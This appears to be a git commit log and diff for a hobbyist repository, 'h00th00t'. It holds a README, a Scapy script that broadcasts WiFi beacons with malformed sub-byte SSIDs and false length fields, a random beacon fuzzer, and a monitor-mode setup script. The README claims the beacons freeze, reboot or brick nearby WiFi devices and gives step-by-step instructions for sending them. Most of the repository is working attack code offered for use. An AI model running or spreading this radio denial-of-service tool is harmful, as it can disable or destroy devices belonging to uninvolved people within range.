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Author SHA1 Message Date
PrincessPi 099512a4cf added a fuzzer file to play with, taken from ASS 2025-08-14 15:56:42 -06:00
PrincessPi f7d3343000 sum improvements into dumping the packet and dissecting it before sending 2025-08-09 11:23:00 -06:00
PrincessPi 5ff1a11740 1754759706 2025-08-09 11:15:05 -06:00
PrincessPi 74e4688905 Added packet output 2025-08-09 01:25:36 -06:00
PrincessPi 0edb7b4719 fix 2025-08-08 19:09:07 -06:00
PrincessPi 4d022fa369 fix 2025-08-08 18:52:38 -06:00
PrincessPi fcbfd9eceb updoots, helper script, cleanup 2025-08-09 00:32:20 +00:00
PrincessPi 7d73861153 waypoint 2025-08-08 13:51:11 -06:00
PrincessPi ffcd079a08 startan da esp-idf version || 2025-08-07 16:45:03 -06:00
PrincessPi d6e699aed3 startan da esp-idf version 2025-08-07 16:44:47 -06:00
6 changed files with 280 additions and 19 deletions
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@@ -1,7 +1,8 @@
# h00th00t # h00th00t
## Sub-Byte Binary Underflow in WiFi Devices ## Sub-Byte Binary Underflow in WiFi Devices
## Warning: Test With Extreme Care ## Warning: Test With Extreme Care
### Summary ### Warning: USE AT YOUR OWN PERIL
## Summary
Sending WiFi beacons where the SSID is set to some non-byte number of bits and a poorly matching SSID length breaks many random WiFi devices in range. Sending WiFi beacons where the SSID is set to some non-byte number of bits and a poorly matching SSID length breaks many random WiFi devices in range.
Some devices freeze, some reboot, some break, some brick. Some devices freeze, some reboot, some break, some brick.
@@ -19,10 +20,19 @@ Testing is very challenging as it requires being out of range of all other WiFi
## Hooting (usage) ## Hooting (usage)
**DO NOT TEST IN RANGE OF ANY DEVICE YOU ARE UNWILLING TO DAMAGE** **DO NOT TEST IN RANGE OF ANY DEVICE YOU ARE UNWILLING TO DAMAGE**
1. Install [Scapy](https://scapy.readthedocs.io/en/latest/installation.html) _prerequisites_
2. Uncomment line `19` of [h00thoot.py](./h00th00t.py) 1. Linux with bash (tested on fully upgraded Kali Linux 2025.2 on Raspberry Pi 5)
3. `python h00th00t.py` 2. Python3 (tested on Python 3.13.3)
3. [Scapy](https://scapy.readthedocs.io/en/latest/installation.html) (tested on Scapy 2.6.13)
4. [A wifi device capable of monitor mode](https://www.stationx.net/best-wifi-adapters-for-kali-linux/) (tested with Alfa AWUS036ACH)
_running_
1. Set wifi device to monitor mode `bash wifi_monitor_mode.sh`
* for usage see note at the top of [wifi_monitor_mode.sh](./wifi_monitor_mode.sh)
2. Optional: edit line `4` and `5` of [h00thoot.py](./h00th00t.py) to match your sender and wifi device preferences
* Defaults to random source MAC and device wlan1
3. Install
4. Uncomment line `38` of [h00thoot.py](./h00th00t.py)
5. `sudo python h00th00t.py`
--- ---
![Stolas uwu~](./assets/stolas-headdesk.gif)
![Stolas uwu~](./stolas-headdesk.gif)

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How do I look? Do I look alright? Tell me I'm pretty, a lovely sight
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from scapy.all import * from scapy.all import *
# config your stuff here # config your stuff here
iface = 'wlan1' iface = 'wlan1' # wifi interface in monitor mode
sender = RandMAC() sender_bssid_mac = RandMAC() # used for source mac and bssid
# sender_bssid_mac = 'ac:cb:12:ad:58:27'
# send raw wifi beacon frames # send raw wifi beacon frames
def beacon_raw(SSID, length=255): ## USAGE:
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=RandMAC(), addr3=RandMAC()) ### beacon_raw(<SSID>, <REPORTED SSID LENGTH IN 8 BIT BYTES>, <INTERVAL IN SECONDS>)
beacon = Dot11Beacon() ### or
essid = Dot11Elt(ID='SSID',info=RawVal(SSID), len=length) ### beacon_raw(SSID=<SSID>, reported_length=<REPORTED SSID LENGTH IN 8 BIT BYTES>, interval_seconds=<INTERVAL IN SECONDS>)
frame = RadioTap()/dot11/beacon/essid ## DEFAULTS:
print("FIRIN MY LAZORRRRRR") ### SSID="PrincessPiNet"
sendp(frame, iface=iface, inter=0.250, loop=1) ### reported_length=13
### interval_seconds=0.25
def beacon_raw(SSID=b"PrincessPiNet", reported_length=13, interval_seconds=0.25):
# set the frame settings
# addr1 is destination (broadcast), addr2 is the source mac, addr3 is the bssid
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender_bssid_mac, addr3=sender_bssid_mac) # set the frame settings
ssid_binary = 0b0101 # a few random bits to send as the SSID # set ssid info
ssid_info = Dot11Elt(ID='SSID', info=RawVal(SSID), len=reported_length) # magic really happens here with Scapy's RawVal() function and the reported_length
# please be careful with this, it can crash your local wifi devices # assemble the frame
# beacon_raw(ssid_binary, length=255) # send it frame = RadioTap()/dot11/Dot11Beacon()/ssid_info
# print info
print(f"FIRIN MY LAZORRRRRR\n\tSSID: {SSID}\n\treported length: {reported_length}\n\tinterval seconds: {interval_seconds}\n\tsender bssid/mac: {sender_bssid_mac}\n")
# print packet
print("\n\nField Values\n")
ls(frame)
# hexdump packet
print("\n\nHexdump\n")
hexdump(raw(frame))
# send it
sendp(frame, iface=iface, inter=interval_seconds, loop=1) # send on loop
# this can be most any value really experimentation is needed
ssid_binary = 0b1 # a few random bits to send as the SSID
# please be careful with this, it can crash or damage your local wifi devices
# beacon_raw(SSID=ssid_binary, reported_length=32) # send it! USE WITH EXTREME CARE
beacon_raw() # send dummy normal beacon for testing
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from scapy.all import *
import urllib.parse
#from random import randbytes
import random
iface = 'wlan1'
sender = 'ac:cb:12:ad:58:27'
def sendProbe(SSID, repeat=3, interval=0.100):
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff',
addr2=sender, addr3=sender)
beacon = Dot11Beacon()
essid = Dot11Elt(ID='SSID',info=SSID, len=len(SSID))
frame = RadioTap()/dot11/beacon/essid
sendp(frame, iface=iface, inter=interval, count=repeat)
def sendProbeRaw(SSID, repeat=1, interval=0.200, listedLen=255):
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff',
addr2=sender, addr3=sender)
beacon = Dot11Beacon()
essid = Dot11Elt(ID='SSID',info=RawVal(SSID), len=listedLen)
frame = RadioTap()/dot11/beacon/essid
sendp(frame, iface=iface, inter=interval, count=repeat)
def sendRandBytesBeacons(numOfBeacons=200, lenOfSSIDs=20, repeat=3, interval=0.100):
for i in range(numOfBeacons):
SSID = randbytes(lenOfSSIDs)
urlEncoded = urllib.parse.quote(SSID)
print(f"\n{i} of {numOfBeacons}\n\tRepeats: {repeat}\n\tLength: {lenOfSSIDs}\n\tSSID: {urlEncoded}\n")
sendProbe(SSID, repeat, interval)
def sendProbeFuzz(repeat=1, interval=0.150):
randMAC = '6e:07:9e:96:2b:4e'
# randMAC = RandMAC()
randLen = RandNum(0, 255)
randSSIDLen = random.randint(0,255)
randSSIDBytes = random.randbytes(randSSIDLen)
urlEncoded = urllib.parse.quote(randSSIDBytes)
dot11 = Dot11(type=0,
subtype=8,
addr1='ff:ff:ff:ff:ff:ff', # dst set to broadcast
addr2=randMAC, # random source
addr3=randMAC) # random bssid
beacon = Dot11Beacon()
essid = Dot11Elt(ID='SSID',
info=RawVal(randSSIDBytes),
len=RawVal(randLen))
frame = RadioTap()/dot11/beacon/essid
print(f"src={randMAC}, dst=ff:ff:ff:ff:ff:ff, BSSID={randMAC}\n\tSSID Set Length: {randLen}\n\tActual SSID Length: {randSSIDLen}\n\tSSID: {urlEncoded}")
sendp(frame, iface=iface, inter=interval, count=repeat)
def sendFuzzBeacons(numOfBeacons=200,
repeat=1,
interval=0.150):
for i in range(numOfBeacons):
print(f"\n{i} of {numOfBeacons}")
sendProbeFuzz()
def sendRandBytesBeaconsRaw(
numOfBeacons=200,
lenOfSSIDs=256,
listedLen=255,
repeat=1,
interval=0.2):
for i in range(numOfBeacons):
SSID = random.randbytes(lenOfSSIDs)
urlEncoded = urllib.parse.quote(SSID)
print(f"\n{i} of {numOfBeacons}\n\tRepeats: {repeat}\n\tListed Length: {listedLen}\n\tReal Length: {lenOfSSIDs}\n\tInterval: {interval} Seconds\n\tSSID: {urlEncoded}")
sendProbeRaw(SSID, repeat, interval, listedLen)
#sendRandBytesBeaconsRaw(numOfBeacons=100, lenOfSSIDs=1, listedLen=255, repeat=3, interval=0.15)
#sendRandBytesBeacons(100, 20, 5, 0.1)
def fullFuzz(
numOfBeacons=200,
repeat=3,
interval=0.150):
for i in range(numOfBeacons):
realLenSSID = random.randint(0,255)
SSID = random.randbytes(realLenSSID)
urlEncoded = urllib.parse.quote(SSID)
fakeLenSSID = random.randint(0,255)
senderMAC = RandMAC()
dot11 = Dot11(type=0, subtype=8,
addr1='ff:ff:ff:ff:ff:ff',
addr2=senderMAC,
addr3=senderMAC)
beacon = Dot11Beacon()
essid = Dot11Elt(ID='SSID',
info=SSID,
len=fakeLenSSID)
frame = RadioTap()/dot11/beacon/essid
print(f"\n{i}/{numOfBeacons}\n\tEach Repeats: {repeat}\n\tReal Length: {realLenSSID}\n\tFake Length: {fakeLenSSID}\n\tSender MAC: {senderMAC}\n\tSSID: {urlEncoded}\n")
sendp(frame, iface=iface, inter=interval, count=repeat)
fullFuzz()
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#!/bin/bash
# usage:
## wifi_monitor <WIFI DEVICE> <METHOD>
### examples
#### wifi_monitor # DEFAULTS wlan1 and ip method
#### wifi_monitor wlan1 # wlan1 and default ip method
#### wifi_monitor wlan0 i # wlan0 and ip method
#### wifi_monitor wlan0 a # wlan0 and airmon-ng method
#### wifi_monitor wlan0 if # wlan0 and ifconfig method
## wifi device
### wlan0 [DEFAULT]
## methods:
### ifconfig, iwconfig, if, or iw ifconfig/iwconfig method
### ip, iw or i - ip/iw method [DEFAULT]
### airo, air, airmon-ng, or a - airodump-ng/airmon-ng method
# set -e # fail on error
check_package () {
which -s $1 1>/dev/null 2>/dev/null
package_check=$?
if [ $package_check -ne 0 ]; then
echo "FAIL: $1 is not installed, exiting"
exit
fi
}
ifconfig_method () {
echo "Defaulting to ifconfig/iwconfig method on $wlan"
# test packages
check_package ifconfig
check_package iwconfig
echo "Taking down $wlan"
sudo ifconfig $wlan down
echo "Setting $wlan to monitor mode"
sudo iwconfig $wlan mode monitor
echo "Bringing $wlan back up"
sudo ifconfig $wlan up
}
ip_method () {
echo "Using ip/iw method for monitor mode on $wlan"
# check packages
check_packages ip
check_package iw
echo "Taking down $wlan"
sudo ip link set $wlan down
echo "Setting $wlan to monitor mode"
sudo iw dev $wlan set type monitor
echo "Bringing $wlan back up"
sudo ip link set $wlan up
}
airmon_method () {
echo "Using airmon-ng method for monitor mode on $wlan"
# check packages
check_package airmon-ng
check_package airodump-ng
wifi_mon="${wlan}mon" # name the monitor device
echo "Cleaning up any existing processes"
sudo airmon-ng check kill
echo "Starting $wlan in monitor mode"
sudo airmon-ng start $wlan
echo "Putting $wlan in monitor mode"
sudo airodump-ng $wlan
}
echo "Setting up for monitor mode"
if [ -z $1 ]; then
echo "Defaulting to wlan1 for wifi device"
wlan=wlan1
else
echo "Using $1 for wifi device"
wlan=$1
fi
# default, ifconfig/iwconfig method
if [ -z $2 ]; then # default ip method
ip_method
elif [ "$2" == "ifconfig" -o "$2" == "if" ]; then
ifconfig_method # explicit ifconfig method
elif [ "$2" == "ip" -o "$2" == "i" -o "$2" == "iw" ]; then
ip_method
elif [ "$2" == "airo" -o "$2" == "air" -o "$2" == "airmon-ng" -o "$2" == "a" ]; then
airmon_method
fi
echo "Hold on 5 seconds..."
sleep 5
echo "Current wireless configuration"
iwconfig
echo "Done!"